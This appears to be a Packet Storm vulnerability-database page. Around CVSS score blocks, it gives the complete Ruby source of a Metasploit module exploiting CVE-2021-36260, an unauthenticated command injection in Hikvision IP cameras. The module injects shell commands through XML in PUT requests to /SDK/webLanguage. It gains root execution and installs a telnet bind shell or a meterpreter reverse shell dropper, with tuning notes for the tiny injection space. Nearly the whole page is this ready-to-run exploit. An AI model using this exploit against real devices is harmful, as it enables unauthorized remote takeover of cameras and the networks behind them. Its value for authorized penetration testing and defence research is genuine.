Lucene search

K
packetstormBashis, jbaines-r7, Watchful_IP, metasploit.comPACKETSTORM:166167
HistoryFeb 28, 2022 - 12:00 a.m.

Hikvision IP Camera Unauthenticated Command Injection

2022-02-2800:00:00
bashis, jbaines-r7, Watchful_IP, metasploit.com
packetstormsecurity.com
575

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Hikvision IP Camera Unauthenticated Command Injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection in a variety of Hikvision IP  
cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an  
HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution  
as the `root` user.  
  
This module specifically attempts to exploit the blind variant of the attack. The module  
was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It  
was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.  
Please see the Hikvision advisory for a full list of affected products.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Watchful_IP', # Vulnerability discovery and disclosure  
'bashis', # Proof of concept  
'jbaines-r7' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-36260' ],  
[ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'],  
[ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'],  
[ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py']  
],  
'DisclosureDate' => '2021-09-18',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
# the target has very limited payload targets and a tight payload space.  
# bind_busybox_telnetd might be *the only* one.  
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',  
# saving four bytes of payload space by using 'sh' instead of '/bin/sh'  
'LOGIN_CMD' => 'sh',  
'Space' => 23  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'printf', 'echo' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false,  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
# Check will test two things:  
# 1. Is the endpoint a Hikvision camera?  
# 2. Does the endpoint respond as expected to exploitation? This module is  
# specifically testing for the blind variant of this attack so we key off  
# of the returned HTTP status code. The developer's test target responded  
# to exploitation with a 500. Notes from bashis' exploit indicates that  
# they saw targets respond with 200 as well, so we'll accept that also.  
def check  
# Hikvision landing page redirects to '/doc/page/login.asp' via JavaScript:  
# <script>  
# window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();  
# </script>  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/')  
})  
return CheckCode::Unknown("Didn't receive a response from the target.") unless res  
return CheckCode::Safe('The target did not respond with a 200 OK') unless res.code == 200  
return CheckCode::Safe('The target doesn\'t appear to be a Hikvision device') unless res.body.include?('/doc/page/login.asp?_')  
  
payload = '<xml><language>$(cat /proc/cpuinfo)</language></xml>'  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),  
'data' => payload  
})  
  
return CheckCode::Unknown("Didn't receive a response from the target.") unless res  
return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)  
  
# Some cameras are not vulnerable and still respond 500. We can weed them out by making  
# the remote target sleep and use a low timeout. This might not be good for high latency targets  
# or for people using Metasploit as a vulnerability scanner... but it's better than flagging all  
# 500 responses as vulnerable.  
payload = '<xml><language>$(sleep 20)</language></xml>'  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),  
'data' => payload  
}, 10)  
  
return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res  
  
CheckCode::Safe('The target did not execute the provided sleep command.')  
end  
  
def execute_command(cmd, _opts = {})  
# The injection space is very small. The entire snprintf is 0x1f bytes and the  
# format string is:  
#  
# /dav/%s.tar.gz  
#  
# Which accounts for 12 bytes, leaving only 19 bytes for our payload. Fortunately,  
# snprintf will let us reclaim '.tar.gz' so in reality, there are 26 bytes for  
# our payload. We need 3 bytes to invoke our injection: $(). Leaving 23 bytes  
# for payload. The 'echo' stager has a minium of 26 bytes but we obviously don't  
# have that much space. We can steal the extra space from the "random" file name  
# and compress ' >> ' to '>>'. That will get us below 23. Squeezing the extra  
# bytes will also allow printf stager to do more than 1 byte per exploitation.  
cmd = cmd.gsub(%r{tmp/[0-9a-zA-Z]+}, @fname)  
cmd = cmd.gsub(/ >/, '>')  
cmd = cmd.gsub(/> /, '>')  
  
payload = "<xml><language>$(#{cmd})</language></xml>"  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, '/SDK/webLanguage'),  
'data' => payload  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 or 500: #{res.code}") unless (res.code == 200 || res.code == 500)  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
# generate a random value for the tmp file name. See execute_command for details  
@fname = "tmp/#{Rex::Text.rand_text_alpha(1)}"  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# 26 is technically a lie. See `execute_command` for additional insight  
execute_cmdstager(linemax: 26)  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C